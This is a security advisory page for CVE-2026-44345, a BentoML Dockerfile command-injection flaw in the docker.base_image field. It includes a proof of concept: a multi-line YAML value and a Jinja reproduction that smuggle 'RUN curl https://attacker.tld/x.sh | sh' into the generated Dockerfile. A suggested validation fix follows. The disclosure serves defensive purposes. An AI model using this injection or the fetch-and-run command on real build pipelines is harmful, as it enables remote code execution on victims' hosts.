CVE-2026-44345: BentoML: Dockerfile command injection via docker.base_image

Published May 11, 2026
·
Updated

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2 interpolates docker.baseimage raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.baseimage value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

Other sources

The same Dockerfile template that mishandles envs[].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.baseimage raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.baseimage value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2:38 (current main, 2026-04-28):

jinja FROM {{ optionsbaseimage }} AS base-container

optionsbaseimage resolves to DockerOptions.baseimage (src/bentoml/internal/bento/buildconfig.py:176):

python baseimage: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/internal/container/init.py:206 via DockerOptions(dockerattrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

yaml docker: baseimage: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch

Minimal reproduction of the unsafe interpolation:

python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.fromstring('FROM {{ optionsbaseimage }} AS base-container').render(optionsbaseimage=malicious) print(out)

Output:

FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.baseimage to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.baseimage at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9./-]+(:[A-Za-z0-9.-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in basev2.j2:

optionsbuildinclude[] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.buildinclude(filepaths). bentouser, bentouidgid, bentopath, bentohome, bentoentrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through overridebentoenv.

References

Pending sibling: GHSA-w2pm-x38x-jp44 (envs[].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. CWE-78: https://cwe.mitre.org/data/definitions/78.html

GitHub

Affected Software

2 affected componentsFixes available
pip/bentoml<=1.4.38
1.4.39
BentoML BentoML<1.4.39

Event History

May 11, 2026
Advisory Published
via GitHub·02:27 PM
Data Sourced
via GitHub·02:27 PM
DescriptionSeverityWeaknessAffected Software
May 27, 2026
CVE Published
via MITRE·05:24 PM
Data Sourced
via MITRE·05:24 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44345?

CVE-2026-44345 is classified as a high-severity vulnerability due to its potential for arbitrary code execution.

2

How do I fix CVE-2026-44345?

To fix CVE-2026-44345, upgrade to bentoml version 1.4.39 or later.

3

What software is affected by CVE-2026-44345?

CVE-2026-44345 affects bentoml versions up to and including 1.4.38.

4

What are the risks associated with CVE-2026-44345?

The risks associated with CVE-2026-44345 include the potential for an attacker to inject malicious Dockerfile directives.

5

How can I determine if my application is vulnerable to CVE-2026-44345?

You can determine if your application is vulnerable to CVE-2026-44345 by checking if it uses bentoml version 1.4.38 or lower.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203